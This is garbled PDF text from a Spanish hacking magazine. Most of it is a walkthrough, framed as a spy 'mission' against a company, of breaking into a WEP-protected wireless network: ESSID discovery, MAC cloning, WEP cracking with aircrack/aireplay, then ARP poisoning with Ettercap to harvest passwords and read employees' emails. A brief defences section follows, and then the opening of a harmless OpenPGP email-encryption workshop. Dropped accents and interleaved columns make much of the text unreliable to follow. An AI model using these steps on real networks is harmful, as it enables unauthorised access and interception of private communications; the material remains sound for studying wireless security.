Está en la página 1de 68

N 29 -- P.V.P.

4,5 EUROS
00029

8 414090 202756

Con la proliferacin de las ofertas wireless, el nmero de redes de ste tipo va en aumento
da a da. Aunque poco a poco la gente va tomando conciencia de lo importante que es proteger
una red de ste tipo ( verdad? ), veremos como hasta la ms agresiva configuracin de
seguridad (encriptacin WEP de 128 bits, filtrado por direccin MAC, ESSID oculto y DHCP
deshabilitado) no supondr obstculo para un atacante con unos mnimos conocimientos. Te
animas a acompaarme en este ataque? Sigue leyendo ;)

Tenemos indicios que nos llevan a sospechar de ciertas actividades ilegales en la gestin de empleados de la compaa
WADAL SL, pero carecemos de pruebas contundentes, su misin ser obtener dichas pruebas mediante el filtrado del
trfico de su red, pero no le ser fcil.
El nico medio de acceso a sta red es por medio de un AP (punto de acceso inalmbrico) (802.11.bg) que da cobertura
en las inmediaciones del edificio de esta compaa y proporciona acceso a toda la red de la empresa.
Le detallo la informacin que nuestros tcnicos han logrado obtener:
El BSSID de la red es 00:12:34:56:78:90
Encriptacin WEP de 128 bits
Filtrado por direccin MAC.
ESSID oculto.
Dispone de un vehculo camuflado, un porttil con sistema operativo GNU/Linux y tarjeta inalmbrica con chipset
Prism2.
Mucha suerte en su misin

Antes de nada dar una breve explicacin de los distintos


sistemas de seguridad a los que nos enfrentamos y algunos
conceptos previos.
BSSID: Es la direccin MAC del AP.
ESSID oculto: Para poder conectarnos a un punto de
acceso necesitamos conocer su ESSID o nombre, este

sistema de proteccin se basa en ocultar dicho nombre al


exterior de modo que slo los clientes que lo conozcan
podrn conectarse.
Filtrado por MAC: La MAC (Media Access Control) es la
direccin fsica de una tarjeta de red, identifica de forma
nica cada tarjeta de red de modo que nunca se fabricarn
dos tarjetas con una misma MAC. El filtrado por MAC se
basa en permitir o excluir determinadas MAC's impidiendo
o posibilitando la conexin.

capturar y visualizar los paquetes. Sus


comandos/opciones son los siguientes:

DHCP deshabilitado: El DHCP


(Dynamic Host Configuration Protocol)
es un protocolo que permite al cliente
recibir por parte del servidor DHCP los
parmetros de configuracin para
acceder a la red. Entre esos parmetros
se encuentran la IP , puerta de enlace,
etc..

(Imagen 0 )
Si Kismet no puede poner tu tarjeta
automticamente en modo monitor
puedes hacerlo con las wireless-tools:
root@spirit:/#iwpriv <interfaz> monitor 1 1

Con DHCP deshabilitado, un atacante


que logre conectar con nuestro AP tendr
que adivinar y configurar a mano dichos
parmetros para poder formar parte de
la red.
Encriptacin WEP: (Wired Equivalency
Privacy ) es un sistema de cifrado
incluido en el protocolo 802.11 que
permite encriptar la informacin
transmitida mediante el algoritmo RC4,
utilizando claves de 64, 128 o 256 bits.

bien:
root@spirit:/#iwconfig <interfaz> mode monitor

Imagen 0
de esta forma podremos capturar
paquetes sin necesidad de estar
asociados a una red.
En la misin voy a utilizar Kismet (

Por que chipset Prism2? Por su facilidad


para el modo master, con modo master
podremos convertir nuestra tarjeta
inalmbrica en un punto de acceso. En
el transcurso de la misin necesitaremos
emular un AP para llevar a cabo ciertos
ataques y facilitar el trabajo.

Para los que le suene a chino el trmino


wardriving, consiste bsicamente en
salir a la caza de redes inalmbricas
provistos de un porttil/PDA con tarjeta
inalmbrica y usando el software
apropiado de deteccin. Segn el medio
de transporte que se utilice surgen
trminos como:
WarWalking: Andando.
WarFlying: En avin.
WarSkating: En patines. (os lo
imaginis? :-D)
WarDriving: En coche... etc
Vamos a hacer wardriving para localizar
la red de BSSID correspondiente a la
dada en el documento de la misin.
Una vez cerca del edificio WADAL SL,
ponemos nuestra tarjeta en modo
monitor y usamos un sniffer adecuado
para redes 802.11. Es imprescindible el
modo monitor o RFMON para la misin,

http:// www.kismetwireless.net/ ), un
sniffer para redes wireless que nos
permitir localizar el AP, adems de

Nos desplazaremos por las inmediaciones del edificio hasta que Kismet
nos detecte paquetes provenientes de
la red de BSSID 00:12:34:56:78:90 y
de ESSID desconocido(Imagen 1).
En este caso he detectado 2 redes con
ESSID oculto, para ver el BSSID de la
red pulsamos 's' y escogemos el tipo de
ordenacin de los nodos, en mi caso
escojo 'b'; una vez el nodo ha sido

Imagen 1

Imagen 2

marcado con otro color pulsamos la


tecla 'i' , que nos mostrar informacin
acerca de esta red (Imagen 2).
Nos fijamos en el BSSID y comprobamos
que es el correcto; hemos localizado la
red.

Durante el proceso de conexin entre


un cliente y un punto de acceso ocurren
los siguientes pasos:
El cliente emite una trama PROVE
REQUEST que contiene el ESSID
al que desea conectarse.
El AP responde si el ESSID
coincide con el suyo.

Imagen 3

El cliente y el AP intercambian
tramas de autentificacin y
asociacin.
Capturando estos paquetes podremos
ver el ESSID.
Tenemos dos opciones, o bien esperar
a que algn cliente se conecte para
capturar las tramas o realizar un ataque
para forzar a clientes conectados la reasociacin con el AP.
Una forma de realizar este ltimo ataque
es hacernos pasar por el AP (clonando
su MAC) y emitir tramas DIASSOC a la
direccin de broadcast (FF:FF:FF:
FF:FF:FF) o a algn cliente especfico
de modo que logremos engaar al cliente
y sta vuelva a asociarse para as poder
capturar las tramas.
Por suerte, existen herramientas que
automatizan este proceso:
deauth , utilidad del proyecto void11.

Imagen 4
http://www.wlsec.net/void11/
essid_jack , utilidad del proyecto
Air-jack http://sourceforge.
net/projects/airjack/

el nombre del ESSID. (Imagen 3)


Las redes con ESSID oculto a las que
Kismet haya logrado capturar su ESSID
se mostrarn con un tono azulado.

Pa r a l a m i s i n va m o s a u t i l i z a r
essid_jack, su uso es el siguiente:
(listado 1)
Primer paso logrado, ya tenemos el
nombre del ESSID, W4d41B3RT0-007.
Si nos fijamos en la ventana de Kismet
podremos ver cmo ha capturados las
tramas de reasociacin mostrndonos

Listado 1
root@spirit:/home/CrashCool/he2# ./essid_jack
Essid Jack: Proof of concept so people will stop calling an ssid a password.
Usage: ./essid_jack -b <bssid> [ -d <destination mac> ] [ -c <channel number> ] [ -i <interface name> ]
-b: bssid, the mac address of the access point (e.g. 00:de:ad:be:ef:00)
-d: destination mac address, defaults to broadcast address.
-c: channel number (1-14) that the access point is on, defaults to current.
-i: the name of the AirJack interface to use (defaults to aj0).
root@spirit:/home/CrashCool/he2# ./essid_jack -b 00:12:34:56:78:90 -c 5
Got it, the essid is (escape characters are c style):
W4d41B3RT0-007

Antes de nada veamos el formato de un


paquete de datos capturado con Kismet
y analizado con ethereal (http://www.
ethereal.com/) (Imagen 4)
Podemos ver que en el protocolo IEE
802.11 se incluyen los campos:
Destination address: A quien va destinado el paquete.
Source address: De donde proviene el
paquete.
Vamos a analizar los datos que hemos
capturado, para ello localizamos los
archivos de log que ha generado Kismet,

normalmente se encuentran en
/var/log/kismet, all encontraremos logs
con este forma
Kismet-[mes]-[da]-[ao]-[sesin].[formato]
/var/log/kismet/Kismet-May-17-2005-1.csv
/var/log/kismet/Kismet-May-17-2005-1.dump
/var/log/kismet/Kismet-May-17-2005-1.network
/var/log/kismet/Kismet-May-17-2005-1.xml

E n t r e l o s f o r m a t o s g e n e ra d o s s e
encuentran .csv , .dump , .network,
.xml . El formato .dump es la captura
en bruto o raw dump de todos los
paquetes, es un formato totalmente
compatible con ethereal o tcpdump.
Abrimos con ethereal el .dump correspondiente a la sesin y visualizamos los
paquetes de datos:(Imagen 5)
CrashCool@spirit:/$ ethereal /var/log/kismet/
Kismet-May-17-2005-1.dump

Imagen 5

Una vez abierto ordenamos los paquetes


por el campo Info, localizamos los del
tipo Data y seleccionamos uno
cualquiera.(Imagen 6)
Este paquete proviene del gateway de
la red (00:12:34:56:78:91) y va dirigido
a un cliente vlido (00:c5:c5:f3:f3:00),
por lo cual ya tenemos un MAC vlida.
Kismet captura MAC's vlidas
automticamente, para ver las
capturadas seleccionamos el nodo en
concreto (para ello primero tenemos
que ordenarlos pulsando la tecla 's' y
escogiendo uno de los modos que se
nos presentan) y luego pulsamos la tecla
'c'.
A continuacin clonaremos nuestra MAC
por la del cliente vlido, saltndonos de
ese modo el filtrado por MAC:

root@spirit:/# ifconfig wlan0 hw ether


00:c5:c5:f3:f3:00

Si con las wireless-tools no puedes


cambiarla puedes probar con el
programa macchanger.

WEP (Wired Equivalent Privacy), nace


con el fin de proporcionar a las redes
wireless una seguridad equivalente a
una red cableada. Utiliza el algoritmo
RC4 y usa claves de 64, 128 y 256 bits
que a efectos prcticos son de 40, 104
, 232 bits respectivamente, los 24 bits
restantes son usados para el vector de
inicializacin IV.
El vector de inicializacin es pseudo
aleatorio en cada paquete y su fin es
combinarlo con la clave fija de modo
que el cifrado sea diferente y a un
atacante le sea mas difcil deducir la
clave.
Por lo tanto el emisor como el receptor
deben conocer la clave fija y el vector
d e i n i c i a l i z a c i n ( I V ) p a ra p o d e r
cifrar/descifrar los paquetes. La clave
fija es conocida de antemano por el AP
y los clientes, y el vector de inicializacin
(IV) viaja en cada paquete.

Imagen 6

La vulnerabilidad viene en el vector de


inicializacin, antes he dicho que es un
valor pseudo aleatorio, pero el estndar
802.11 especifica que la variacin del
IV es opcional y deja un campo abierto
a la implementacin por parte de los
fabricantes de modo que no siempre
son aleatorios y se repiten, esto sumado
a los pocos bits para variar el IV (2 24
= 16'7 millones aproximadamente) hace
que los IV's se agoten en unos cuantas
horas o minutos, segn la cantidad de
trfico.
Existen multitud de tcnicas y algoritmos
para romper WEP con mayor/menor
eficiencia y que requieren mas/menos
cantidad de paquetes y IV's distintos.
Uno de los ms atractivos es el ataque
estadstico de Korek en el que est
basado el programa que utilizaremos:
Aircrack. (http://www.cr0.net:8040/
code/network/)

CrashCool@spirit:/$ aircrack
aircrack 2.1 - (C) 2004 Christophe Devine

-c dmac : set Destination MAC address


-h smac : set Source
MAC address
-o fc0 : set frame control[0] (hex)
-p fc1 : set frame control[1] (hex)
-k
: turn chopchop attack on

usage: aircrack [options] <pcap file> <pcap file> ...


-d <start> : debug - specify beginning of the key

Por tanto el comando que usaremos


podra ser:

deberemos deducir los parmetros de


configuracin por los paquetes
capturados. Al disponer de la clave WEP
podremos descifrar los paquetes y visualizarlos, para ello puedes utilizar el
programa decrypt incluido en Airsnort
(http://airsnort.shmoo.com), su uso es
el siguiente:

-f <fudge> : bruteforce fudge factor (default: 2)


-m <maddr> : MAC address to filter usable packets
-n <nbits> : WEP key length: 64 / 128 / 256 / 512
-p <nfork> : SMP support: # of processes to start

Lleg la parte mas tediosa, capturar


entre 200.000 y 500.000 IV's diferentes
para facilitar el trabajo a aircrack, para
ello deberemos esnifar suficiente trfico,
pero que pasa si la red se usa muy
poco o no hay trfico suficiente? Se
utilizan tcnicas para generar trfico.
Entre las utilidades que te permiten
hacer esto se encuentran:
Aireplay 2.2, utilidad incluida en
Aircrack (http://www.cr0.net:8040/
code/network/) y que captura paquetes
vlidos generados por un cliente de la
red para luego hacerse pasar por l y
enviarlos de nuevo a la red, de modo
que al retransmitirse generan ms trfico
que nos dar mas IVs.
Su uso es el siguiente:
root@spirit:/home/CrashCool/hxc/aireplay-2.2# ./aireplay
aireplay 2.2 - (C) 2004,2005 Christophe Devine
usage: aireplay [options] <interface #0> [interface #1]
interface #0 is for sending packets; it is also used to
capture packets unless interface #1 is specified.

root@spirit:/# aireplay i wlan0


b 00:12:23:56:78:90 d ff:ff:ff:ff:ff:ff
Esto capturara trfico proveniente del
AP y con destino a la direccin de
broadcast, tras esto nos preguntar si
deseamos reenviarlo, a lo que contestaremos s ( 'y' ).
Tambin podemos usar un archivo .pcap
capturado con anterioridad y reenviarlo.
Para capturar el trfico puedes usar
Airodump, utilidad incluida en Aircrack
que te ir mostrando el nmero de IV's
capturadas o Kismet. Yo voy a hacerlo
con Kismet; para ello lo ejecutamos y
seleccionamos el nodo en cuestin
(pulsando 's' y escogiendo algn tipo
de ordenacin), una vez seleccionado
fijamos el canal del nodo de modo que
Kismet slo escuche el trfico de ese
canal para as capturar mas
rpidamente, esto se consigue pulsando
'L' sobre el nodo seleccionado.
Una vez recolectado el suficiente trfico
procedemos a ejecutar aircrack
pasndole los siguientes parmetros:
CrashCool@spirit:/$ aircrack n 128 f 1 <ruta archivo .dump>

source options:
-i
: capture packet on-the-fly (default)
-r file : extract packet from this pcap file
filter options:
-b bssid : MAC address, Access Point
-d dmac : MAC address, Destination
-s smac : MAC address, Source
-m len : minimum packet length, default: 40
-n len : maximum packet length, default: 512
-u type : fc, type - default: 2 = data
-v subt : fc, subtype - default: 0 = normal
-t tods : fc, To DS bit - default: any
-f fromds : fc, From DS bit - default: any
-w iswep : fc, WEP bit - default: 1
-y
: assume yes & don't save packet

En el caso de que tras un cierto tiempo


nos muestre un mensaje del tipo No
luck sorry , aumentaremos el fudge
factor , ste parmetro puede tomar los
valores 1 , 2 y 3 e interviene en el
anlisis estadstico, a ms valor, ms
posibilidades tenemos de que encuentre
la clave, pero a su vez tardar mas.

CrashCool@spirit:~$ decrypt
missing required argument
Usage: decrypt (-p <pw> | -f <dictfile>) [-b] [o <offset>] -m <bssid> -e <cryptfile> -d
<decryptfile>
-p: single password to try
-f: dictionary, 1 password per line
-b: skip beacons
-o: offset to frame control (default zero)
-m: bssid to crack
-e: input pcap file
-d: output pcap file
Para descifrar el nuestro usaremos el
comando:
CrashCool@spirit:~$ decrypt -p
6e:23:c8:69:d3:7f:37:d6:58:42:cf:02:13 -m
00:12:34:56:78:90 -b -e /var/log/kismet/KismetMay-17-2005-2.dump -d descifrado WEP.pcap
A
continuacin
abrimos
descifradoWEP.pcap con ethereal:
CrashCool@spirit:~$ ethereal
descrifradoWEP.pcap
Para obtener los datos con mayor rapidez
localizamos paquetes provenientes de
trfico ARP, aqu un paquete capturado:
(Imagen 7)
El gateway de la red es 192.168.0.1, la
IP del cliente es 192.168.0.11 y la
direccin
de
broadcast
es
255.255.255.255 por lo cual ya tenemos
el rango de ips de la red.
Los datos que necesitamos son:

En este caso tras unas horas obtengo


la clave: 6e:23:c8:69:d3:7f:37:d6:58
:42:cf:02:13

IP: 192.168.0.150 (elijo una al azar


dentro del rango)
Gateway: 192.168.0.1

Al no disponer de DHCP habilitado

Ya tenemos todos los datos que

replay options:
-x nbpps : number of packets per second
-a bssid : set Access Point MAC address

Imagen 12

Imagen 7
necesitamos para conectarnos a la red
;), procedamos:
root@spirit:/# iwconfig wlan0 essid W4d41B3RT0-007
1.
Establecemos el nombre del ESSID

En el men Sniff seleccionamos


sniffer Ettercap para capturar el trfico
de la red, pero antes de eso vamos a
estudiar a que tipo de red nos
enfrentamos.

Tras esto veremos la pantalla principal:


(Imagen 9)

root@spirit:/# iwconfig wlan0 key open 6e23c869d37f37d65842cf0213

2.
Configuramos la clave WEP
root@spirit:/# ifconfig wlan0 192.168.0.150
3.
Nos ponemos la ip 192.168.0.150
root@spirit:/# route add default gw 192.168.0.1
4.
Aadimos el gateway.

En teora ya estamos dentro, veamos


que nos dice Ettercap.

Una vez dentro de la red, usaremos el

Imagen 8

A continuacin construiremos una lista


de los hosts activos, es decir de los
clientes que estn conectados a la red,
para ello en el men Hosts seleccionamos Scan for hosts (Imagen 10).

Imagen 10
Arrancamos ettercap en su modo grfico
(GTK)
root@spirit:/home/CrashCool/he2# ettercap -G

Imagen 11

Imagen 9

Unified sniffing... y escogemos la


interfaz de red con la que estamos
conectados (Imagen 8).

Y esperamos unos segundos a que


detecte los clientes:(Imagen 11)
Una vez terminado podremos ver la lista
de host desde el men Hosts -> Host
list.
Ahora estudiaremos el tipo de red en la
que estamos, si es conmutada (conecta
a los clientes a travs de un switch) o
no conmutada (mediante un hub).
Pero.. para qu necesitamos saberlo?.
En la redes no conmutadas se usan
hub's para interconectar las mquinas;
un hub viene a ser como un repetidor
que adems regenera la seal, es decir
lo que se pone en una interfaz (entrada
RJ-45) del hub sale por todas las dems.
En una red de este tipo los datos van a
parar a todas las mquinas conectadas
de modo que un atacante lo va a tener
sencillo, le basta con poner su tarjeta
en modo promiscuo para ver todo el
trfico con un simple sniffer (Imagen
12).

Imagen 13
Imagen 15
Imagen 14

status el resultado: You are plugged


into a SWITCH (Imagen 15).

En las redes conmutadas los datos slo


van a parar a la mquina destinataria
del paquete; para ello los switch's
generan tablas dinmicas (switch table)
que asocian cada una de sus interfaces
con la MAC (o MAC's) del cliente
conectado a ella. Al recibir un paquete
el switch mira la MAC a la que va dirigido
y consulta su tabla buscando por que
interfaz debe reenviar el paquete; si por
alguna casualidad en su tabla no est
dicha MAC reenva el paquete por todas
sus interfaces (as se asegura de que
llegue). sta tabla se va actualizando
cada cierto tiempo de modo que si un
cliente conecta una mquina al switch
por la interfaz 5, el switch aadir a su
lista la MAC del cliente asocindola a
dicha interfaz. As pues cuando el switch
reciba paquetes destinados a dicha MAC
sabr que slo debe reenviarlos por la
interfaz 5 (Imagen 13)

Aparentemente no puedo utilizar un


sniffer para ver el trfico de todos los

Un atacante que corra un simple sniffer


poniendo su tarjeta en modo promiscuo
solo visualizar su trfico.
Para detectar si nos encontramos ante
un tipo u otro de red usaremos el plugin
'link type' de Ettercap; para ello desde
el men Plugins seleccionamos Manage
Plugins: (Imagen 14)
Y hacemos doble click sobre el plugin
link type observando en la ventana de

Imagen 16

clientes, pero recordando la switch


table, sta miraba la MAC de destino
del paquete y lo reenviaba por la interfaz
correspondiente, pero y si desde un
principio falseamos la MAC de destino?.
Si me encuentro en una LAN con los
clientes A, B y C y A enva un paquete
a C, en el paquete va especificada la
MAC de C cmo sabe A la MAC de C?,
consultando su tabla ARP.
ARP (address resolution protocol),
traduce o asocia una direccin IP con
una direccin fsica (MAC), es utilizado
por todos los nodos de la red que posean
la capa de enlace de datos, as pues,
cada cliente de la red mantendr su
propia tabla ARP gestionada por su
sistema operativo.
Si quieres visualizar tu tabla ARP, puedes
hacerlo a travs del comando: arp -a
Esta tabla es dinmica y posee adems
un tiempo de vida, cada nodo est
pendiente de los frames que le llegan
por parte de los dems nodos para
mantener esa tabla lo ms actualizada
posible.
A la hora de emitir un paquete, la tabla
ARP es consultada para rellenar el campo
MAC destino, si esa tabla es modificada

Imagen 17

por un atacante asociando su MAC a un


IP que no es suya conseguir engaar al
switch para que le entregue un paquete
que en teora no le pertenece; esta tcnica
es comnmente conocida como ARP
poisoning .
Ettercap nos lo va a poner fcil ya que
es capaz de lanzar y mantener este tipo
de ataque y esnifar el trfico a la vez :P.
Para ello seleccionamos en el men
Mitm -> Arp poisoning.. y marcamos
la casilla Sniff remote conections.
(Imagen 16)
Una vez hecho esto comenzamos la
sesin de esnifado, desde el men Start
seleccionamos Start sniffing (Imagen
17)

debilidades del actual WEP y entre sus


principales mejoras destacan la continua
rotacin de la clave para cifrar los
paquetes (TKIP). El usuario proporciona
una clave fija en ASCII que sirve como
semilla para generar la clave aleatoria
con la que se cifrarn los paquetes,
pasados un cierto nmero de paquetes
se vuelve a generar otra clave a partir
de esa semilla.
Para implementarlo es necesario que
todos los dispositivos (AP y clientes) de
la red soporten este sistema. Si tu AP
no dispone de este sistema es posible
que en la web del fabricante encuentres
alguna actualizacin de firmware que lo
permita.

Imagen 18
Que nos asegura que el envenenamiento de ARP se est llevando al
xito? Podemos utilizar el plugin
chk_poison que nos dir si hay
envenenamiento o no:
Activating chk_poison plugin...
chk_poison: Checking poisoning status...
chk_poison: Poisoning process succesful!
Perfecto, para visualizar el trfico de la
red abrimos la pestaa Connections
desde el men View y observaremos
una lista de todas las conexiones activas
en ese momento.
Haciendo doble click sobre cualquiera de
ellas veremos los datos en formato
ASCII: (ver Imagen 18)
Adems de esto Ettercap lleva
incorporado un colector automtico de
contraseas (FTP, POP, TELNET, SSH,
MYSQL, IRC, VNC ... ). Si durante algn
momento de la sesin de esnifado algn
cliente accediera a su correo o a un
servidor ftp, Ettercap nos mostrara en
la ventana de status los datos de acceso
(login y pass).
Continuando con la misin debo obtener
pruebas vlidas de las actividades
ilegales que se sospecha hay en esta
empresa. Tras intervenir varios correos
con Ettercap tengo pruebas que apuntan
a que la empresa WADAL ha estado negociando la venta de sus acciones a otra

10

empresa sin informar a los accionistas,


pudiendo as sacar beneficio y quedar
impune por el despido de los empleados
por parte de la empresa que las ha
comprado.

Como has podido ver saltarse una red


wireless de este tipo es slo cuestin de
tiempo, lo que deja casi la totalidad de
las redes wireless actuales al descubierto.
Sin duda la seguridad de hoy en da
depende de la combinacin de todos los
sistemas de proteccin actuales con otros
sistemas como:
Portales cautivos: son sistemas de
autentificacin de usuarios wireless.
Durante el proceso de conexin con el
AP, ste le asigna una IP y el gateway
del portal cautivo, de modo que no
podremos 'salir' de ah hasta que no nos
autentifiquemos, normalmente desde el
propio navegador web bajo una conexin
segura HTTP-SSL, una vez autentificamos
el gateway nos dar paso a la LAN o a
Internet.
Estos portales permiten configurar un
poltica de usuarios de modo que
podamos autorizar a segn que servicios,
limitar ancho de banda, etc. Una implementacin libre de este sistema es NoCat
http://nocat.net/
WPA (Wi-Fi Protected Access):
tambin llamado WEP2, corrige las

La seguridad en este tipo de cifrado es


proporcional a la longitud de la clave
semilla, ya que existen herramientas
capaces de crackearla mediante fuerza
bruta.
Con la llegada de su segunda generacin
WPA2 el usuario y empresa podrn
disfrutar de una mayor seguridad.

Este mes como es lgico no podemos


proporcionarte un escenario para la
prctica, pero te animo a practicar el
artculo en tu red wireless y que
compartas con nuestro foro tu
experiencia/dudas. As mismo para los
que desde un principio han pensando y
que pasa con los que usamos Windows?
tambin los animo a instalar GNU/Linux;
en nuestro foro encontraras bastante
informacin al respecto y gente dispuesta
a ayudarte en cualquier problema que
te surja con la instalacin y configuracin.
Por suerte y por comodidad tambin
dispones de una live-cd especfica para
seguridad que incorpora todas estas
herramientas y muchas ms y que
configurar automticamente tu tarjeta,
estoy hablando de Auditor, distribucin
basada en Kanotix y que podrs
descargar de http://new.remoteexploit.org/index.php/Auditor_main .
Sin ms me despido esperando hayis
disfrutado con la lectura y con los posibles
ratos de wardriving en los que
desemboque este artculo ;).
CrashCool (Alex F.)

Bienvenidos una vez ms al Taller de Criptografa. En los dos primeros artculos hemos aprendido
los fundamentos del sistema OpenPGP, los fundamentos matemticos tras la criptografa de clave
pblica, as como el manejo de sus principales implementaciones. Ahora es el momento de empezar
a darle un uso til a todos esos conocimientos... ;-)
Antes de empezar, me gustara decir algo. Cuando empec esta serie de artculos, decid que sera
un "taller" y no un "curso" porque la mayor parte de trabajo recaera en prctica, dejando la teora
como herramienta para comprender la primera. Dado que el tema a tratar era la criptografa, no
me calent mucho la cabeza y eleg el nombre ms obvio para el taller: "Taller de Criptografa".
Ya habiendo terminado el segundo artculo ca en la cuenta de una cosa: sin darme cuenta haba
"copiado" un nombre que ya exista y que significa mucho para todos los aficionados a la criptografa:
El "Taller de Criptografa" de Arturo Quirantes Sierra (profesor de Fsica de la Universidad de
Granada... pero como l mismo dice en su web, podemos respirar tranquilos porque no es contagioso
:-P): http://www.ugr.es/~aquiran/cripto/cripto.htm.
Todo aficionado a la criptografa que sepa leer castellano y no est suscrito al boletn ENIGMA
(http://www.ugr.es/~aquiran/cripto/enigma.htm) de Arturo Quirantes, es poco menos que un
hereje. Yo particularmente soy asiduo lector desde hace mucho tiempo, y os lo recomiendo totalmente.
Aunque no tengo el placer de conocer a Arturo Quirantes en persona, s que cruzamos unos correos
cuando ca en la cuenta de lo desafortunado de la eleccin del ttulo del taller, y fue ms compren
sivo an de lo que yo esperaba. Slo me expres su deseo de que la gente no confundiera este
taller que tienes en tus manos con el suyo. Pues que quede esta nota como aclaracin, al Csar lo
que es del Csar. Mando un saludo para Arturo desde mi humilde rincn. :-)
sino que lo es para casi cualquier protocolo de la red,
incluyendo HTTP.
Si sois aficionados a leer textos sobre seguridad informtica,
seguramente ms de una vez hayis ledo aquello de que
el correo electrnico es como una postal y que cualquiera
puede leerlo por el camino. Y es cierto. De hecho, no
solamente es cierto para correo electrnico (asumo que
hablamos de protocolos estndar como SMTP, POP o IMAP,
no de webmails y dems engendros de la naturaleza :-P)

Sin embargo, realizamos muchas operaciones delicadas


a travs de web y nos han dicho que son seguras... aquello
del candadito y dems. Bien, ese "candadito" y el que el
habitual HTTP de la barra de direcciones cambie por un
HTTPS nos indica que estamos trabajando con SSL (Secure
Socket Layer), que es un sistema de cifrado basado en

11

PKI (Public Key Infrastructure)... que,


efectivamente, es muy seguro. SSL no
es el tema de este artculo... ese tema
llegar ms adelante, de momento nos
basta con saber que existe y que sirve
para convertir un protocolo estndar en
un protocolo cifrado.
Existe algo similar para el correo
electrnico? Desde luego. SMTP (puerto
25) se convierte en SMTPS (puerto 465),
POP3 (puerto 110) se convierte en POPS
(puerto 995), e IMAP (puerto 143) se
convierte en IMAPS (puerto 993). Lo
malo es que el uso de SSL en correo
electrnico est muy poco extendido.
Casi ningn servidor de correo gratuito
ofrece correo POPS/SMTPS, aunque hay
excepciones como Gmail, que aparte de
su webmail (webmail? arg, engendro!
:-D) ofrece la posibilidad de usar sus
cuentas en un MUA (Mail User Agent) y
los
protocolos
usados
son
exclusivamente POPS y SMTP (bajo TLS).
Entre los ISP, que yo sepa, casi ninguno
ofrece siquiera la posibilidad de usar
SSL en el correo, y entre los proveedores
privados de alojamiento tampoco son
muchos los que ofrecen la posibilidad
de usarlo (afortunadamente el mo s lo
hace, yo recibo y envo mi correo a
travs de SSL).
Porqu si tanto nos preocupa usar SSL
en HTTP para conexiones delicadas, es
por el contrario tan poca la preocupacin
en el correo electrnico? Pues
sinceramente, no lo s, pero es un
hecho. Adems, al tratarse SSL de una
conexin entre el cliente y el servidor,
esta comunicacin ir cifrada, s, pero
desde ese servidor al servidor de correo
de destino y posteriormente al
destinatario, es mucho ms que probable
que alguna de esas conexiones no se
establezca mediante SSL.
As pues, la mayora de los usuarios
estn condenados a mandar sus correos
privados (con asuntos tan sensibles
como trabajo, datos bancarios, claves
de acceso...) como postales a travs
de la red a la que estn conectados, y
que cualquier fisgn de tres al cuarto
lea lo que no debe... Pues no!
Vamos a aplicar todo lo aprendido sobre
OpenPGP al correo electrnico.

12

Adicionalmente, nunca est de ms que


usis, en la medida de lo posible, SSL
en detrimento de las conexiones en
claro.
En un principio vamos a centrarnos en
un MUA concreto para familiarizarnos
con el uso de OpenPGP en correo
electrnico, pero ms adelante veremos
otros MUA's alternativos que pueden
ser usados de forma muy similar, y
finalmente veremos que podemos
trabajar con cualquier MUA que nos
apetezca e incluso con interfaces
webmail (no, no lo voy a volver a decir...
bueno venga, la ltima eh?...
engendrooo! xD).

Como ya he dicho, vamos a empezar


por un MUA muy concreto. El software
elegido es:
Mozilla Thunderbird (http://
www.mozilla.org/products/thund
erbird/). El motivo para elegir este
software y no otro es que se trata
de
software
libre,
es
multiplataforma, y mediante un
plugin (del que en unos instantes
hablaremos) implementa
compatibilidad con GnuPG (que
t a m b i n e s s o f t wa r e l i b r e y
multiplataforma). La ltima versin
disponible es la 1.0.2.
enigmail (http://enigmail.mo
zdev.org/). Se trata de un plugin
p a ra M o z i l l a S u i t e y M o z i l l a
Thunderbird que implementa
compatibilidad con inline-PGP (RFC
#2440) y PGP/MIME (RFC #3156)
mediante GnuPG. La ltima versin
disponible es la 0.91.0.
GnuPG (http://www.gnupg.org/).
Espero que despus del anterior
artculo no tenga que decirle a
nadie qu es GnuPG (:-P). La
ltima versin disponible es la
1.4.1 (s, hay una nueva versin
desde el artculo anterior).
Dado que todo el software mencionado
es multiplataforma, no hay
absolutamente ningn problema en
seguir esta prctica tanto desde sistemas

GNU/Linux como Microsoft Windows e


incluso Mac OS X. Yo particularmente
en esta parte usar un sistema Debian
GNU/Linux 3.1 (SID) con Mozilla
Thunderbird 1.0.2-2, enigmail 0.91-3 y
GnuPG 1.4.0-2, que son las versiones
que a da de redactar este artculo hay
en los repositorios SID de Debian.
Supongo que ya habris notado que
siempre que puedo, oriento las prcticas
al software libre (y si puede ser
multiplataforma, mejor que mejor).
Adems de los motivos tcnicos (de
menor importancia en este caso, y de
los cuales no es el momento de hablar),
estn los motivos prcticos: no todo el
mundo tiene el dinero necesario para
comprar las caras (carsimas) licencias
de software necesarias para determinados programas,o bien la catadura
moral para andar pirateando a troche y
moche dicho software. Siempre me ha
dado mucha rabia cuando leo algn
artculo en el que el autor presupone
que todos disponemos del ltimo acojoeditor o acojo-compilador de turno. La
vida de estudiante no da para tanto...
y hablando de Universidad, otra cosa
que me repatea es que los profesores
de una Ingeniera (Informtica, para
ms inri) pidan la documentacin en
"formato Word". Lo siento, tena que
desahogarme... :-P
Bien, vamos al tema. Lo primero que
debemos hacer, obviamente, es instalar
todo el software necesario. Respecto a
la instalacin de GnuPG no hay nada
que decir, pues en el anterior artculo
se trat en detalle. Solamente
mencionar que los usuarios de Linux
podis descargar o bien las fuentes y
compilarlas (como fue explicado) o bien
algn paquete precompilado, mientras
que los usuarios de Windows deberis
bajar el binario precompilado (bueno,
las fuentes tambin pueden ser
compiladas, pero os garantizo ms de
un dolor de cabeza). Los enlaces para
descarga son:
Para sistemas Unix-like (fuentes):
ftp://ftp.gnupg.org/gcrypt/gnupg/gnu
pg-1.4.1.tar.bz2
Para sistemas Windows: ftp://
ftp.gnupg.org/gcrypt/binary/gnupgw32cli-1.4.1.exe

Para sistemas Mac OS X: http://


prdownloads.sourceforge.net/macgpg/
GnuPG1.4.1.dmg?download
Lo siguiente es bajar e instalar Mozilla
Thunderbird (tambin es perfectamente
posible usar el gestor de correo de la
suite Mozilla). El software posee un
instalador muy sencillo (del tipo
"siguiente, siguiente, siguiente...") as
que no creo que haya problema alguno
con ello. He seleccionado la versin
1.0.2 en ingls porque a da de hoy la
ltima versin en castellano es la 1.0,
pero podra servir exactamente igual.
Los que no se lleven muy bien con la
lengua de Shakespeare, ya saben qu
hacer (aunque en el artculo har
referencia a los textos de Thunderbird
en ingls). Los enlaces para descarga
son:

sencillos, por lo que me limitar a


mencionarlos por encima. Si tenis algn
problema, consultad en google o preguntad en el foro.

Para sistemas Linux: http://


download.mozilla.org/?product=thund
erbird-1.0.2&os=linux&lang=en-US

User Names: Debemos indicar

